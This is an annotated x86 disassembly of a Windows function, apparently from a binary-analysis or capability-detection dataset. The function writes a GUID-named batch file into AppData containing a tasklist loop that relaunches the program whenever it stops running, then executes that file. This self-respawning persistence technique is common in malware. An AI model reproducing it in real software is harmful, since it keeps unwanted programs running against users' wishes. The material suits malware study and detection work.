Function at 0x408c80
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x45c]
push 0
push eax
call fcn.004166e0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x45c]
add esp, 0xc
push 0x104
push eax
push 0
call esi
push 0x104
lea eax, [ebp - 0x358]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x358]
push 0x104
push eax
push 0
call esi
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x46c]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x408d28
push dword [ebp - 0x46c]
push str._06X
push 0x40
push 0x44a618
call fcn.00410fe0
add esp, 0x10
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x44a618
lea eax, [ebp - 0x4c]
push 0x43ff34
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0xc]
add esp, 0xc
mov dword [ebp - 0xc], 0x7461622e
mov byte [ebp - 8], 0
push eax
lea eax, [ebp - 0x4c]
push eax
call ebx
push 0x104
lea eax, [ebp - 0x254]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x254]
push 1
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0x254]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x408d90
mov ax, word [0x440774]
lea edx, [ebp - 0x4c]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x408da8
lea edi, [ebp - 0x254]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408db8
mov ecx, edx
lea eax, [ebp - 0x150]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x104
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x150]
push str._echo_off_n_r_set__file
push eax
call ebx
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x150]
push eax
call ebx
push 0x440790
lea eax, [ebp - 0x150]
push eax
call ebx
push str.for__f__delims____I_in____file____do_set__image__nxI__n_r
lea eax, [ebp - 0x150]
push eax
call ebx
push str.:begin_n_r
lea eax, [ebp - 0x150]
push eax
call ebx
push str.tasklistfind__i___image___n_r
lea eax, [ebp - 0x150]
push eax
call ebx
push str.if___errorlevel___1__start_____
lea eax, [ebp - 0x150]
push eax
call ebx
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x150]
push eax
call ebx
push 0x440790
lea eax, [ebp - 0x150]
push eax
call ebx
push str.goto_begin_n_r
lea eax, [ebp - 0x150]
push eax
call ebx
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp - 0x470]
push 0
push eax
push 0x104
lea eax, [ebp - 0x150]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret